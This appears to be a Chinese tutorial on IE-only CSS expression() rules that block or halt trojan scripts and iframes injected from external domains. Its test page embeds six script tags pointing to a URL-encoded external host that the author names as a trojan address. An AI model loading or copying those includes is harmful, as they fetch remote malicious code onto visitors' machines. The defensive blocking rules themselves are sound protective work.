|
现在流行挂script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、js代码或是其他<object>代码,不管这么多,来多少杀多少。
解决方案1:css代码[ol][li]iframe{nifm2:expression(this.src=’about:blank’,this.outerhtml=”);} [li]script{no2js:expression((this.src.tolowercase().indexof(’http’)==0)?document.close():”);} [/li][/ol]
原理:将外域的js文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。
解决方案2:css代码[ol][li]iframe{n1ifm:expression(this.src=’about:blank’,this.outerhtml=”);}/*这行代码是解决挂iframe木马的哦*/script{nojs1:expression((this.src.tolowercase().indexof(’http’)==0)?document.write(’木马被成功隔离!’):”);} [/li][/ol]
原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域js脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。
缺点:访客无法看到被感染了<script>木马的页面。
解决方案3:css代码[ol][li]iframe{ni3fm:expression(this.src=’about:blank’,this.outerhtml=”);} [li]script{n3ojs:expression((this.src.tolowercase().indexof(’http’)==0)?document.execcommand(’stop’):”);} [/li][/ol]
原理:同到外域的js文件,立即调用ie私有的execcommand方法来停止页面所有请求,所以接下来的外域js文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是js模拟ie停止按钮的一种方法。
解决方案4:css代码[ol][li]iframe{nif4m:expression(this.src=’about:blank’,this.outerhtml=”);} [li]script{noj4s:expression(if(this.src.indexof(’http’)==0)this.src=’res://ieframe.dll/dnserror.htm’);} [/li][/ol]
原理:将外域的js文件的src重写成本地ie404错误页面的地址,这样,外域的js代码不会下载。
解决方案5:css代码[ol][li]iframe{nifm5:expression(this.src=’about:blank’,this.outerhtml=”);} [li]script{noj5s:expression((this.id.tolowercase().indexof(’lh’)==0)?document.write(’木马被成功隔离!’):”));} [/li][/ol]
第五种方案的页面html源代码<script>中要加入以”lh”为前缀的id,如lhweatherjsapi,<script src=”***/**.js” id=”lhsearchjsapi”></script>
以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)xml/html代码[ol][li]<!doctype html public “-//w3c//dtd xhtml 1.0 transitional//en” “ [li] [li]http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd“> [li]<html xmlns=”http://www.w3.org/1999/xhtml“> [li]<head> [li]<meta http-equiv=”content-type” content=”text/html; charset=utf-8″ /> [li]<title>让js木马的进程迅速中止的css代码</title> [li]<style type=”text/css” id=”linrstudio”> [li]/*<![cdata[*/ [li]iframe{nhk1:expression(this.src='about:blank',this.outerhtml='');} [li]script{ngz1:expression((this.src.indexof('http')==0)?document.close():'');} [li]/*]]>*/ [li]</style> [li]</head> [li]<body> [li]<script type=”text/javascript” src=”1.js”></script> [li]<script src=http://%76%63%63%64%2e%63%6e></script> [li]<script src=”http://%76%63%63%64%2e%63%6e” type=”text/javascript”></script> [li]<script src=http://%76%63%63%64%2e%63%6e></script> [li]我是页面本身的1 [li]<script src=http://%76%63%63%64%2e%63%6e></script> [li]我是页面本身的2 [li]<script src=http://%76%63%63%64%2e%63%6e></script> [li]我是页面本身的3 [li]<script src=http://%76%63%63%64%2e%63%6e></script> [li]</body> [li]</html> [/li][/ol]
其中1.js是自己本站的:xml/html代码[ol][li]document.write(”我是本站的js文件”); [li]document.write(”<img src=’/tech/uploads/allimg/090819/1352353222-0.gif’ />”); [/li][/ol] |
|